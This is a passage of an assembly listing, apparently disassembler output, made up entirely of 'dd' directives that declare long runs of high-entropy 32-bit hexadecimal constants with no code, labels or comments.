		dd 0DECDFC5Dh, 0ED90CF02h, 5B96762Ah, 4F488AACh, 7D395210h
		dd 0A72FEB7Dh, 291DDA99h, 1E329D6Dh, 9E128966h,	0CC943BF1h
		dd 0CDD875E4h, 78334FB2h, 86B48E5h, 4E8BE3A9h, 0ED03484Eh
		dd 0DDBEDA07h, 64A5AF05h, 8CEB872Ah, 0C1BA9606h, 0F23A2A2Bh
		dd 0C8E26976h, 1238B624h, 5B3C3417h, 0F9D5674Ah, 4C8EEBAh
		dd 9C513F1Fh, 6A5FA75Bh, 9B72F1B4h, 0AA69C222h,	869426F8h
		dd 2EC47306h, 81161210h, 2C56FF7Ah, 9271AFC8h, 2583DC2h
		dd 0C2065E4Dh, 0C01E45F7h, 9E100BDBh, 0D0E31B1Dh, 185FC010h
		dd 0B90D799h, 0C190FF5Eh, 1F0B25D2h, 0F2539D27h, 5AF5AF88h
		dd 4A0FEB0Dh, 59B7C16h,	2270C183h, 5F4A0813h, 0CEDAA6A0h
		dd 0FA42848Ah, 44C788ECh, 40BBAB6Fh, 121FBA56h,	0F59ADD64h
		dd 0D5D282F2h, 0A2F880CDh, 0DBA239E4h, 8C5A5F62h, 0E8A1B9C5h
		dd 1DABCF2Dh, 4FD89CC7h, 9A16A0Ch, 0FCF3632Dh, 1086AD0Ch
		dd 5904AF3h, 5133087Eh,	804E9C28h, 63363710h, 3856D14h
		dd 4869CDE2h, 0CA6CD938h, 918E4675h, 634996B8h,	26687E67h
		dd 11F8ED9Dh, 97BC935Eh, 9FCC994Bh, 0B875402h, 973E86A9h
		dd 0F568A819h, 0B2103149h, 0CD697EB4h, 5D2863C8h, 0AEB4152Eh
		dd 0F6C13E0Fh, 0EDB48957h, 0BFBB2A63h, 149FF6E6h, 0B42FF337h
		dd 5837AEDh, 5770F5EDh,	7B5A48BBh, 0ABB732C0h, 99308632h
		dd 5C0B1040h, 0A4254E36h, 0E9A659F2h, 0B90819DAh, 68C11636h
		dd 8E7B9273h, 71548D6Fh, 0F2161076h, 0F47A3F1Ch, 31DA8BCDh
		dd 384DE46Bh, 0EA6443DDh, 2FE53F94h, 96B9F5A6h,	90964A2h
		dd 0EF868BD3h, 26EDF134h, 0C5A378B0h, 3CA9C66Ch, 5BB39538h
		dd 318CE7Dh, 5ADE81B0h,	0E7AA043Dh, 5812528h, 3B951D5Ah
		dd 2D5BE2Bh, 280C8932h,	9962B130h, 97AE3DB2h, 737AD75Eh
		dd 0B9643167h, 3FFDE93Bh, 32CD094Bh, 0B15BFB0Bh, 0ABB559F6h
		dd 0EAE92Dh, 0EBBE984Ah, 0EF54F02Eh, 8872455Bh,	0C656FFACh
		dd 0A33AF1C6h, 838C2DCDh, 4740945Ah, 4DF6A8D9h,	0C245D37h
		dd 0C93E6ADAh, 2CB44B3Fh, 0C062A8F8h, 0C0911E25h, 0E89389FFh
		dd 0ABA006B7h, 0A89DC491h, 0D678BF5Dh, 0D9F7A01h, 7DA3963Dh
		dd 54112C6Fh, 5D4EFDCBh, 83BACE16h, 0E01CA4F0h,	0A431C7B3h
		dd 0B6178382h, 0FC7A7011h, 39A3E7E8h, 55F1516Eh, 0BEB49B55h
		dd 2F74FFB5h, 0F5DAFC78h, 0FD0FFC3Bh, 0EDC7E811h, 6B67BFFEh
		dd 8962470h, 0F71640FAh, 60E0E8Eh, 17AF9B8Ah, 29B9FD46h
		dd 0E700106Fh, 0AB7D09E0h, 995D6766h, 0BF82F52Ah, 5840DCBDh
		dd 677C96C6h, 0B2DD4338h, 0EA6DABEDh, 0E3E0EAACh, 21DA66C6h
		dd 2A859A99h, 0B5EAB2E0h, 0A3BFAE7h, 2406EB7Ah,	0A80F4AEDh
		dd 0CBC8F5A2h, 0BF0DAD16h, 524B5172h, 33134E7Dh, 0A3A616E4h
		dd 7CAC6B09h, 0AFCD9CDDh, 29571F19h, 38363945h,	0B70CB63Ah
		dd 3B1CE653h, 0A74FA677h, 65467761h, 9CD46AB3h,	5232AA14h
		dd 32EAC014h, 1391427Fh, 0A6D109E8h, 24B5B7D8h,	94D8C8A2h
		dd 30C76B5Ch, 0AB07D45Dh, 847F9B8Ah, 2BA31286h,	0B36FDA02h
		dd 933ACB9h, 26BC072Fh,	0FCF50CFFh, 0B36F03AEh,	9E1D1DEh
		dd 0D171809Bh, 8F667727h, 0A57F2B24h, 0F9C45FE2h, 0FE1B257Ah
		dd 15278D85h, 0D147659Ch, 0D2498663h, 1F616299h, 20EBCAE3h
		dd 0CBAD4B5Dh, 31A67FB9h, 38A195D8h, 0CA5BEF2Ah, 41293E15h
		dd 19F33947h, 747EEA2Bh, 28B332F1h, 0D284199Ah,	0B445F33Fh
		dd 0A1D6AC12h, 776699F1h, 7E2F2102h, 2AAE010Ah,	53E57FD5h
		dd 4D7D7F51h, 1B647745h, 157405C9h, 5D2CE9AAh, 6FFEB559h
		dd 8169C9A2h, 0B32658D6h, 16A127FBh, 215B5C25h,	0F5854CB2h
		dd 770A507Bh, 0EFEFFFEh, 0AD9309C8h, 0A41C757Bh, 0FADC3414h
		dd 98DDF864h, 35308039h, 0CE07AF96h, 514C82ECh,	0FFB6E1B6h
		dd 0BB5D95F6h, 23D59C56h, 0EC16CE1Ch, 58A1F73Ch, 9D362D12h
		dd 0EE62629Bh, 8C965311h, 0D49C8750h, 3E206107h, 839E4A75h
		dd 0FBC19E3Bh, 0AFED3581h, 0E25ABB33h, 6B3A928Fh, 0BD073FD0h
		dd 39F1FC5Bh, 0E4A8D6E4h, 0F8391E37h, 2EFE3FF8h, 0C47B125Fh
		dd 58D27CA5h, 6B7C0E07h, 0A4E9D4DAh, 40C7D694h,	4E01E392h
		dd 0DA6F408Eh, 46EC0A32h, 487F8F7Ah, 875BFFEFh,	0A77081CEh
		dd 0ED6AFCC0h, 0A36C7227h, 3C9AD008h, 4B3B5529h, 8A91E429h
		dd 0D844C4ABh, 42217575h, 619ADA36h, 3E9B8B70h,	1F311C76h
		dd 0E4E21174h, 0F36B0070h, 0AC24B81Dh, 0A6998E8Bh, 2027E676h
		dd 208A6DBDh, 0D85850A0h, 87FE24B5h, 4A37418Ch,	0FDCCD99Eh
		dd 793B75D9h, 4EB7B165h, 149EC322h, 59846DCAh, 9F9F5079h
		dd 7DDBFA37h, 0D56DFF54h, 0B85489FEh, 0BCEDD4Ch, 0EAAB66DEh
		dd 42FF0550h, 4A253089h, 5CFEF820h, 2B64B424h, 1CF149E1h
		dd 80EEFD5Eh, 12367EB4h, 5A039DBEh, 0DFC78292h,	48B06D5Ah
		dd 7F588B66h, 0B117F0FAh, 43DF1172h, 0EF368E0Fh, 776A6977h
		dd 0D097D1ACh, 0ABD7C8A3h, 906B6DF0h, 35B12EF0h, 6F87CCBh
		dd 0C2A91A1Ah, 185729C6h, 0A537D38Dh, 952876B9h, 8914E163h
		dd 0FE172D5Eh, 35ADF2B3h, 0CA81E91Ah, 50309916h, 81F3B2F1h
		dd 0D43538F2h, 2378B8A7h, 84AEB7A5h, 0A41CAAD1h, 0B5010636h
		dd 7FEE8915h, 6A17CE24h, 0B4EE2B82h, 486535DDh,	7ED46393h
		dd 0BE8CA3B9h, 0C7A0905Dh, 256E55A1h, 0B4718C42h, 325618CDh
		dd 0C83EBA79h, 5A131B9Ah, 0FE87624Dh, 1622F4BAh, 0C84411AEh
		dd 0DB6CCAB5h, 0CE42D45Eh, 0EC344826h, 0C8181085h, 0D0F666B0h
		dd 0DAD5C834h, 6F894A4Ch, 328A1D97h, 0F4702ABBh, 0A8370F86h
		dd 3B424A4Dh, 8BBF9927h, 9F3DCF41h, 31ADB6C0h, 0FAE33D9h
		dd 0F589D44Fh, 0C747F759h, 3A120ABCh, 8C34A541h, 11FF3BEFh
		dd 0DEE6159Ah, 480C4774h, 681B7702h, 2C367C67h,	23845B26h
		dd 0CECCEBE3h, 3EDD6E08h, 2F4A0400h, 4A61F019h,	0C7BBCDDDh
		dd 0EBFADAA3h, 0D6353160h, 9B621E92h, 0F64DBE37h, 3790331h
		dd 0E77D8EB4h, 0EA225B98h, 0A5C0BEA1h, 16410F98h, 3603B948h
		dd 0C94C1A2Ah, 2C54D91Ah, 0F6AD5719h, 5CE7E931h, 40366C0Fh
		dd 0BAA6F2BCh, 65EF580Ah, 0D10B4E10h, 334A2F22h, 437713F9h
		dd 386988A9h, 0ECD7D70h, 5363F2DAh, 0A02C0D99h,	2D2BA737h
		dd 3201EFE8h, 58FB85C2h
		dd 0C69FC3E7h, 4C1F60Dh, 5E7D88CCh, 0B98A74F4h,	967C001Ch
		dd 0C9BE8FEDh, 4447A92Dh, 0E124F170h, 239D2555h, 0FC34201Fh
		dd 8B266325h, 50C85E85h, 0A5AFE9C2h, 2C6943C5h,	37BA5467h
		dd 2DA8E396h, 81F20EBAh, 0A97489DBh, 2F08FE03h,	0AEB925F2h
		dd 7481DBCh, 56BA3469h,	574A0D90h, 9514513Ch, 0CC3F2CF3h
		dd 297B60AEh, 685FD4DFh, 5B8300C8h, 2C104F1Fh, 0C2606316h
		dd 0AE28845Bh, 2BCC9A66h, 6028437Ch, 8FE460B0h,	1BF4827Eh
		dd 49FEB085h, 48D0E7B2h, 69597BB2h, 0EF7BF58Fh,	0B218170Ch
		dd 0BC55CEACh, 0CA1BCB11h, 0B06E3F0Fh, 0AB35C1C3h, 59EB18B5h
		dd 0E596C90Ch, 66599A4Dh, 9CBEA578h, 0F23A02BDh, 0C2DBDE9Bh
		dd 98842F77h, 6EAA4722h, 0CA4D8201h, 0FD18BA5Bh, 440FF2DBh
		dd 8E75209Fh, 0E671CC15h, 0B2E8B0E2h, 0C24E83BCh, 0BF812B05h
		dd 96B9EDC9h, 27FA3E99h, 95464B8Eh, 4EE0CBC9h, 9AA2FBCDh
		dd 0B0AAF579h, 0D1B45C70h, 23D9C8B9h, 10BF6843h, 98771876h
		dd 0BA03ED4Fh, 6AEEA3F3h, 251CE0C0h, 5652D8FBh,	37FA0933h
		dd 0BBD6D5C8h, 0B8E4D483h, 85C2C428h, 6793F458h, 0CD0F7FCh
		dd 52EBC8BAh, 0B7F8D495h, 38A2A539h, 9B417537h,	0AD3EC7BEh
		dd 3ECAE6EBh, 0F3F59B5Fh, 48A54526h, 6A9F3CB1h,	9D08849Fh
		dd 9C1A6A4Dh, 6FAE18AAh, 0D68F606Fh, 98C0D0C5h,	1B2B1CA0h
		dd 0F49B23E1h, 0DC006916h, 5EEFD917h, 0AECEAC40h, 3AC54E4Eh
		dd 0EE3461FEh, 0BEE6CC45h, 2D6815FDh, 7603CDA7h, 0C0E54673h
		dd 47F84E8h, 0ED7DD543h, 0E0564C44h, 0B74EBEF2h, 6BF781C3h
		dd 7D60E2C7h, 51566EC8h, 5D1375CFh, 0D9ACD553h,	1AA762E1h
		dd 3F5C5A65h, 0F35C2148h, 0F6778E90h, 7A42CCBCh, 0F119369Fh
		dd 0FC3A9916h, 3BC46847h, 0DF8CE391h, 24C704Ah,	46DE42C1h
		dd 0F4012154h, 0CAF21110h, 6B6D831h, 869D668Ah,	4FA5A802h
		dd 7234C96Dh, 4E78A1D7h, 64760809h, 82761B68h, 1F8D8869h
		dd 13FAB980h, 3FC6C147h, 0B50D26AEh, 908E3975h,	0A875DB22h
		dd 8D1A4DE8h, 8427A04Fh, 8842953Ah, 827BE028h, 0A9BDF340h
		dd 0EACE813Ch, 0CC650FC8h, 6AD6EA67h, 2F4E0AFEh, 0B01C54EAh
		dd 76B2B1CAh, 0FECA1C21h, 0F3B23201h, 9AB4C4C7h, 0EBECD43h
		dd 0DD30FDB1h, 669D77Bh, 724DBA7Fh, 408295D5h, 39EB6EFEh
		dd 0AEEE8EDEh, 0FD0E7141h, 2C2FB98Eh, 0F93337FAh, 0A802950Eh
		dd 9457AB71h, 3275CF3Eh, 0F4876194h, 1DA2F44Ch,	0CC52B628h
		dd 904C561Fh, 4A007061h, 0E33AC9FDh, 7B831E30h,	0B52E3763h
		dd 15D4B426h, 7741184h,	67ACD5BEh, 8E17549Bh, 13338F7Bh
		dd 1B1EAB5Bh, 5EB016BAh, 7C497DFh, 71D0F8E5h, 0C3539255h
		dd 6C83549Ch, 0A3CC60D1h, 0FE96EECFh, 74FDADB5h, 3571DC8Fh
		dd 0FCB8EFC9h, 1C83E819h, 2F251881h, 249A49D2h,	0C826851Eh
		dd 3A4C7264h, 93E61E40h, 50441EDBh, 0F56F637Bh,	0FB3E416Bh
		dd 3ADDD6A0h, 31E1A412h, 1160EC2Fh, 0D2AB8410h,	6101578Fh
		dd 32409291h, 0ACD99CE8h, 81FB9E2h, 0B917E8FBh,	1180C6Ch
		dd 9DD6661Bh, 80CA31C9h, 0CA400350h, 3B5F90A0h,	95AA5BF0h
		dd 16AEE0B4h, 25A192E9h, 34978B6h, 27E42CDAh, 527480AFh
		dd 0A73DDC18h, 0C4C9C79Bh, 85301AC1h, 0AC5983BAh, 0B7FB9C9Eh
		dd 67CA54F1h, 0DFCE1CC3h, 4692551Fh, 81C04884h,	2B4BFC37h
		dd 90B65B30h, 5F5CDCACh, 502F550Eh, 0AE99335Dh,	69298491h
		dd 14662D71h, 8853D6F3h, 0BF55EAFh, 19965D73h, 0DB0B746Eh
		dd 757DF77Eh, 8C4CB3A7h, 0FB1901A2h, 9ABC7CBh, 0E185A821h
		dd 11E1AAB5h, 0DF65482Ah, 5144F4E5h, 36BAA1D8h,	27D32675h
		dd 29298C7Bh, 1F754683h, 0C91A371Fh, 531BF6DDh,	0B8116395h
		dd 0FE3D677Bh, 0BD3AE0AFh, 0D7A1228Ch, 0F39AA5EBh, 0BB205E49h
		dd 0DD471C55h, 0CDD24BE8h, 61A860A9h, 3B14B3E4h, 0AC068019h
		dd 92110C8Ch, 176E4EE1h, 24AED70Bh, 0FCFA482Fh,	0B761723Eh
		dd 4D2CAEE1h, 2EBC0041h, 3B9B5F34h, 0AF511EAAh,	0F1E745ABh
		dd 0FB93E683h, 3BAF2595h, 8B54B586h, 0E9623DC1h, 0D4C89150h
		dd 0CBB069B7h, 4F871B7h, 0B49B2B0Ah, 0DBBE6D58h, 8FB99210h
		dd 0C7703142h, 34DDC72Dh, 152C4097h, 7BB53403h,	888C7846h
		dd 90E2425Ch, 0E60E6959h, 29AC8599h, 530B590Fh,	5E594F15h
		dd 6159CB15h, 3C9D2E78h, 1D5021A1h, 2FC06836h, 0A11DF63h
		dd 0EE19C54Dh, 0AE813CBCh, 52F11294h, 45E10987h, 0E96FD607h
		dd 8D4D7A70h, 9D0BDA1Bh, 38ABD2A2h, 0AE81CCBAh,	2617558Eh
		dd 87EAD986h, 0E46E1D9Ch, 8B83398Dh, 0FCB840BCh, 0BB0953EFh
		dd 65EE290Eh, 6039231Bh, 9ADD9C8Bh, 407E7F0Fh, 0E296934Bh
		dd 0F474EABAh, 843F6070h, 0A800A3A4h, 57B630F8h, 0EC8200DBh
		dd 35504007h, 54679838h, 23AE737Fh, 4EB9A021h, 0ED30482Fh
		dd 8886834Eh, 8C2216Fh,	0C635FA46h, 5F3150F5h, 44F3AA3Ch
		dd 0B1ECF6D4h, 0D226C3B1h, 57D11164h, 6C97F5AAh, 0B47AA632h
		dd 9B667B8Eh, 0FFE08AEFh, 8263CCBAh, 792EC83Dh,	391F82Fh
		dd 0D0851D6Ah, 6346E171h, 0BB8F7419h, 0ECB0E230h, 0D63417E4h
		dd 5145A620h, 2B652FF8h, 1D37E575h, 0A269C815h,	91E5495Ch
		dd 0C73971BAh, 0FAC76E74h, 2AE7FED0h, 0DA5DDF12h, 0F573421Fh
		dd 75D61464h, 92E465D8h, 929BDA54h, 5ECC2589h, 5D1B670Bh
		dd 9DCF4F85h, 0F69C2FB4h, 481010C1h, 0FD1BF203h, 0BDE67F90h
		dd 666A2B87h, 251A99EEh, 6108F451h, 8E5891FCh, 4B558BE1h
		dd 1DD665B6h, 950E6BE5h, 4FCAFA5Fh, 5DC92C9Fh, 4E91CC66h
		dd 0BA1C777Ch, 3C9B1B85h, 0C8825D3Bh, 0BF3FAE2Fh, 9C5E1B4Ch
		dd 6C080B7Dh, 53C69187h, 2467ED06h, 28C3FFCDh, 9D81A1F6h
		dd 0DF6174E2h, 97DE0FD3h, 59FB4B36h, 0AC728809h, 0EA123659h
		dd 23BE24CCh, 0B6DB70E5h, 20591AA9h, 9B3D4166h,	4219FB54h
		dd 87AFE1E0h, 80690517h, 0EADD436Eh, 618493BCh,	0EDBB2987h
		dd 98DC0B3Ah, 0F9A9DD63h, 0FBE04D83h, 0AD3A5F71h, 7DBE3A4Bh
		dd 6E8C7F8Eh, 9B360F11h, 627238B1h, 0B9D72AFh, 0D51F616Ah
		dd 535034CFh, 0FC90B828h, 53A2AF22h, 0B370A488h, 39E80178h
		dd 3B9E25D5h, 0C3D536C2h, 3C81DFF4h, 38496E58h,	8ED1832Bh
		dd 48340972h, 8B200ACBh, 117C0DBFh, 0C68C8C75h,	0CB742498h
		dd 905C0E2Bh, 46E0F222h, 4644D30Ah, 24BFC63Fh, 0B76B63FFh
		dd 1A55CB1Eh, 95A7A28Fh, 0EDED2E3Bh, 4244F1C8h,	4D4281A6h
		dd 423A8BD6h, 2D5796D6h, 0E95D246Dh, 95F5507Eh,	77D6DE2Ch
		dd 92904FD9h, 73C03946h, 2701D59h, 0B122BF0Ch, 560ED12Dh
		dd 0FF91EED5h, 7077F09h, 2B664EDCh, 0E4B6E279h,	0ADD244C8h
		dd 18C3F014h, 4E762320h, 9C1B2CE9h, 5ACBDBE8h, 5A0FA24Ah
		dd 0EF291A24h, 4B9092AEh, 7FFDE31h, 5366C9A3h, 0FB3BE7E9h
		dd 0FFE4157Ah, 3FD0046h, 43AEF40Fh, 0AF10070Dh,	0B401C30Eh
		dd 71EF79B4h, 61F55A9Eh, 0B73C5A86h, 665E78B1h,	56B1D69h
		dd 0D5F6E1AEh, 869295A5h, 77774ECh, 0B0B9BE06h,	556F93A2h
		dd 33FA42F7h, 0F157572Fh, 0E12B14BAh, 0CE4F15ECh, 0FB75DDDEh
		dd 0CCF0971Fh, 448D5AF8h, 0B41B952Dh, 0DB341CF8h, 0D2B89053h
		dd 1AF56767h, 0AF93FBBAh, 83C5C31Fh, 0A07F48ABh, 0B2472D69h
		dd 5F780DFBh, 0D30C26FAh, 0E6AD2B36h, 361AEA6Dh, 400C3B2Ah
		dd 70F70A78h, 1F3EEDDDh, 903DCB98h, 64692A82h, 0D17DDBEFh
		dd 46CCB52Bh, 0FA3C71E4h, 12D7BF5h, 0FC4A5020h,	0C94163A2h
		dd 58CE23E8h, 2ABCF6AEh
		dd 0B5D28111h, 0AA60CA70h, 3B776B6Ch, 5272226Ah, 0F100FEDh
		dd 34E0D42Ah, 3A5F41A9h, 0A40A2A61h, 1E34168Dh,	0EA91785Bh
		dd 0CBA0D149h, 0B2DE9997h, 1F096D56h, 17720FB8h, 23BAC2B1h
		dd 613D660Dh, 6BC58BCh,	16C66C5h, 7C8BBD08h, 8783E432h
		dd 94048E11h, 77B84471h, 4DC8C2F8h, 9515EB2Ah, 28E575h
		dd 5EABAE72h, 91B223DEh, 0D67E1167h, 75649AACh,	32FE9B95h
		dd 545C2351h, 768603CCh, 4A5F2DD5h, 0C3BD5715h,	9534BC4Bh
		dd 0BF7C3DF3h, 0D65328A6h, 255066E6h, 6389D213h, 1443262Ah
		dd 0A0C3FF7Bh, 4C0261F9h, 0D710B32Fh, 0A7FB0D18h, 0A59B2553h
		dd 1EAC8C6Fh, 4E3E6AAEh, 8E4D1C5Bh, 926ECAFEh, 0D668764Ch
		dd 0C0ACBA2Ah, 6F669E7Bh, 843D2A96h, 914E440Dh,	0D7B6CB41h
		dd 63915DF2h, 0DCB43DA2h, 45689BBDh, 0D25536CFh, 0BC451E2Dh
		dd 2CCEB948h, 4B90B20h,	81AD94A8h, 6C42E002h, 30A007Dh
		dd 368AA93h, 0DB4688DFh, 55014751h, 8C0278C5h, 0FC4E968Eh
		dd 324DA9E4h, 6598A6E1h, 0F401DEE6h, 162304D6h,	73D72E7Fh
		dd 0BC4E81A1h, 0C7A2D34Ah, 6B04CCDBh, 0A9C452A4h, 0FF04F14Ah
		dd 0E59AD43Bh, 0DCEE5ACBh, 79507F00h, 8A0F25D3h, 0A85D8453h
		dd 0BDFE18B0h, 430A99DDh, 0D9B03CC1h, 0AA6E9214h, 55D19535h
		dd 42F170FAh, 0B7C48F34h, 78D298DDh, 0DDF3B0E2h, 0BDF9046Ah
		dd 67F467D4h, 864ED3D7h, 162E8554h, 2A2B2767h, 7A2E0EBFh
		dd 0CA96B9Ah, 72F6C24Eh, 0D2242941h, 7D71CFA2h,	0B6F1C2h
		dd 0CEDA01C6h, 5B8AA01h, 0BEC3EF20h, 1E62D5D8h,	0B8EF6615h
		dd 0E4542B2Eh, 0FD30FA97h, 0E3149BF2h, 8EA2772Ah, 77C2B5FEh
		dd 3E2C2438h, 6340CC01h, 4D5CBA15h, 144DEF41h, 58EABC13h
		dd 8576A9CEh, 97E51BF9h, 0F1128680h, 0F54CB3C0h, 0D46AE4FAh
		dd 0BC73E95Dh, 0EAF5611Dh, 0F7D7AFAEh, 8904A6h,	31E7D558h
		dd 5BB1A470h, 24526C7Ch, 0C65FA70Fh, 0BE7D872Dh, 7E50B4Ah
		dd 35DEE265h, 43EE1E3Eh, 66DD9DC2h, 293627C6h, 237FE8ECh
		dd 0C5FDF46h, 6B9EDF7Bh, 0B89A3EF9h, 0BE01E601h, 0B366142Bh
		dd 4613949Ch, 3038DC43h, 0C560109Ch, 0F491D8EAh, 0FEC54781h
		dd 80C226Ah, 63255FF9h,	5BA4BF41h, 0FD936A3Ch, 75333C88h
		dd 0BFCEFDC8h, 87D8E348h, 819AEC66h, 26BD246Eh,	0CB2EA6E9h
		dd 3DC72D1Ah, 0D3A359D9h, 7664632Bh, 1926437Ah,	68E06637h
		dd 1BFC3ED1h, 0FD063C35h, 49C55986h, 440DF907h,	0C470D508h
		dd 76FFC73Ah, 189C4247h, 4C92C21Dh, 0E74B037Ch,	38AAF4F5h
		dd 0DC53615Bh, 0F79480EEh, 589E8274h, 630C940Eh, 0F4270F98h
		dd 0DF0586B6h, 4BA519Ah, 0BC49C172h, 0AD89B2F3h, 0DFB3DAFFh
		dd 8A360F12h, 0F955F988h, 42CBD5F1h, 5F243C92h,	0D2729244h
		dd 2699E972h, 150B1208h, 0C88B4E83h, 0D2BA9BB0h, 82B81CE4h
		dd 0ABA85434h, 54558E4Dh, 2A41B802h, 48679E08h,	0A1754234h
		dd 0BE3F59E6h, 0E1B61961h, 0E61A5516h, 4124D0h,	0DDA7D498h
		dd 111F35DAh, 0AB4D2F3Ah, 1C9BB118h, 4B50AA54h,	0DEE0ACEAh
		dd 0E0C6B7B2h, 0F9438A26h, 407F665Fh, 88715D2Ah, 41AD76C6h
		dd 0ECB3F725h, 1A41617Bh, 8A8C644Fh, 0BF0DF0E5h, 1FE2697Bh
		dd 1C043EDEh, 17704157h, 15320DDAh, 0FF09B998h,	72E5B0ECh
		dd 0E0DBA14h, 0C8AB9E65h, 0D9F2C77Bh, 77901862h, 7822AB08h
		dd 0E7D87EF3h, 8D706F13h, 0DC20DA5Bh, 0B0F2256Bh, 6594599Fh
		dd 525F4AA0h, 27996EA6h, 9846B146h, 2C3360C8h, 0AAE2339Dh
		dd 740557E3h, 0B471E47Ah, 8BC63E4h, 0F2A7650Fh,	73BEF0D9h
		dd 7D01002Bh, 0AA1337E8h, 0AA5D15BCh, 0E4C8BCC7h, 44824FA3h
		dd 0FD81B806h, 0CA40551Ch, 40F6EAB7h, 6984ACDDh, 647D7162h
		dd 1B2EB3C7h, 0FCC2BC1Eh, 0F9AC21E9h, 93E7A8E1h, 798FDDC3h
		dd 0E1E272F8h, 2E233428h, 60953FD7h, 0BEFC483Eh, 6F8EF726h
		dd 4F507EB3h, 2F3387D6h, 494B57CDh, 2E213C88h, 0A1B8A2AEh
		dd 0DDA7FD68h, 8E05E10Eh, 0E6CE8E9Ah, 43338B44h, 0DD2681F1h
		dd 5FC08EF4h, 92E10E2Ch, 90CB8D6Dh, 6ECE3269h, 48A0FD75h
		dd 0ED334874h, 0E852D7B8h, 0CB0A600Ah, 2F27D2DCh, 0F40F0E82h
		dd 21E0BA4h, 0CA9240A9h, 696815E4h, 1FF965DCh, 4B188537h
		dd 8B9E0B41h, 3CC2CC81h, 9FCEB593h, 0F67D94B7h,	4C291DFFh
		dd 371B6C14h, 404B7364h, 533B2210h, 2865A6E8h, 0BB5CEC82h
		dd 8F5B6B19h, 51D33557h, 7DEF41A8h, 53DEDEDh, 0D1764506h
		dd 0EFBB170h, 814BF78Ah, 95C33ADAh, 29DA7297h, 46469E4Dh
		dd 7841380Ah, 0F9167FEAh, 1A04F406h, 2B59C50Bh,	758DEF2Ch
		dd 91DC630Dh, 6D325375h, 9B8CA6FBh, 84FBCEDEh, 4CA277C8h
		dd 68DD2AD9h, 0F1C29A27h, 65FA685h, 4D2F99Eh, 13028682h
		dd 0F77D742Eh, 77B81220h, 35D22B1Fh, 1CA29837h,	0A0D684E1h
		dd 0BF9938BCh, 84669106h, 0E6C9AE48h, 42CC7510h, 0F5B867D9h
		dd 0BE69D8FFh, 7A875F37h, 72C81896h, 17E49EBAh,	9B218CCBh
		dd 6C28399Ah, 3FBAE8CFh, 0D5E54F28h, 0C8686E94h, 0C4253EA8h
		dd 0D4EA98AFh, 0E55DB722h, 0BAA1A751h, 2AA8BF96h, 90BB477Eh
		dd 4068B4A7h, 7FBB46A1h, 41884A7h, 4AAEAD2h, 0EC2D2BD2h
		dd 701314C1h, 647C9841h, 944AB8C7h, 78DC616Bh, 71683DD8h
		dd 28024F9h, 92B51B1Ah,	498CF11h, 113F1B43h, 22DEE5C7h
		dd 13CF506Ch, 0DB8D6DEDh, 0C0F8B0FCh, 3CEF82D1h, 0B74D7976h
		dd 198C2A4Ah, 1EFEC2A5h, 29D76A2Fh, 6E5AB095h, 531C4C87h
		dd 13A15DAAh, 0F0E2B64Fh, 79E4981Ah, 0CAE8D3h, 0FA9167A5h
		dd 8C3310D4h, 3FE3F918h, 3A41C3FDh, 84803E46h, 0FFD253A5h
		dd 2D0FA927h, 11040790h, 652A686h, 0C0281727h, 0C9475CD4h
		dd 5D59B96Ch, 823CAB0h,	982B0F3Dh, 0FB5EEA87h, 0F577003Ch
		dd 8AD4B78Dh, 29D83199h, 0F3AE8281h, 0BA1ECD0Fh, 0EA82065Ah
		dd 0D064ACB3h, 0BD267CCh, 19810793h, 0D88E5E75h, 0E650F063h
		dd 0AD6572B0h, 0B0B6C427h, 5C0D0DE9h, 6026676h,	0CCA820D5h
		dd 65FE6E36h, 0BB6308DEh, 58099618h, 0ACF03C93h, 735CE5B0h
		dd 531F4C03h, 1A364ABDh, 84AB14CFh, 0C784DF24h,	75B5AD97h
		dd 99AE2DCDh, 0F3DDFDCEh, 608C4DAAh, 8BDB81D3h,	1418E0F2h
		dd 195FFDD1h, 68CA6B03h, 41BE4AE2h, 0BD54C6CEh,	9EC10D0Fh
		dd 0E495E356h, 0E6DB432Dh, 0FE3A0494h, 0D45FBBB1h, 9A946EABh
		dd 76833A7Fh, 1B4BB673h, 322A880h, 0FC54FFFBh, 0A69A33BCh
		dd 4A0F8B31h, 0AD6D1D73h, 943E5CB7h, 36AC236Dh,	0EADF435Eh
		dd 5AF7DB72h, 85A4A80h,	0C7C1B98Ch, 0D7E47C26h,	90A935BBh
		dd 0D0CE677Bh, 5D83B12Ch, 23E60420h, 6A36249h, 5C01C29Ch
		dd 0AB9C6A2Ch, 338BE8ECh, 0D8594EAEh, 0B2BE3870h, 0D842B2B5h
		dd 2000B38Eh, 990604Eh,	654460D9h, 9AB08858h, 4D994396h
		dd 76D2C114h, 2B602D9Bh, 6D0441Dh, 28B67036h, 8DD4603Bh
		dd 29F8E58h, 0B8DCFB7h,	0C9489B4Fh, 5D102D77h, 0AB4E4F35h
		dd 2A631EC6h, 1CF89ABh,	0B4CBD832h, 2422E573h, 0FCDDB9EAh
		dd 1942996Bh, 0E2F876A1h, 7F7B4B78h, 9F7FFCAAh,	0CC728E1h
		dd 0D5208D31h, 0C9271390h, 37C0D900h, 0AC4F7846h, 6A3EF0EBh
		dd 17557BEBh, 0AF2D194Dh, 0C041AF44h, 0F2EC9F43h, 84B2C754h
		dd 107DE1D6h, 55874375h, 91E09DD2h, 20DDDB17h, 7CD1A24Dh
		dd 1DBEC981h, 2CF2C0ECh, 0CB742DADh, 0FC2572AEh, 2B19A419h
		dd 0CB087C3Eh, 0F22A40BDh, 0E78EDF44h, 0C287FB6Bh, 62E21EDh
		dd 0F224C6E3h, 723FD0DEh
		dd 906918Bh, 3A16B810h,	93A95992h, 7E675599h, 954A7AA5h
		dd 9418CF39h, 2D8C4D0Ch, 59E043AEh, 0D5A59D13h,	939C16A3h
		dd 0B77A2855h, 834B5815h, 933E2B9Eh, 20A9ADB4h,	0DF1D6C36h
		dd 39DDAC86h, 0E6137BC7h, 0B6019155h, 0B230094h, 0C4BA0932h
		dd 7512A27Ah, 54CD3312h, 509E3B34h, 552CC7E9h, 0D8E99ED9h
		dd 0A36F7F32h, 7E6ED785h, 0E71DE6FCh, 0E5E0A615h, 0B13094D0h
		dd 0DBBF35F4h, 0F5245F5Ah, 0AC365088h, 0CB143EABh, 228FCDADh
		dd 0F44EF4D8h, 4A5FB3CCh, 558E1F61h, 5529BA0Ah,	4255E7B8h
		dd 1BEF5D0Ah, 40712AF8h, 50704F79h, 0F53E8A8Eh,	0F2F165BFh
		dd 26F79C98h, 5338CD3Fh, 0CA83A6E7h, 969301A3h,	1EB492C1h
		dd 5CB02FD0h, 0FD06A2EFh, 750EF8EFh, 9DF94472h,	0A8B0FCD6h
		dd 297407A3h, 0EDA55EC8h, 2151875Ah, 0E4CAD25Ah, 9674660Bh
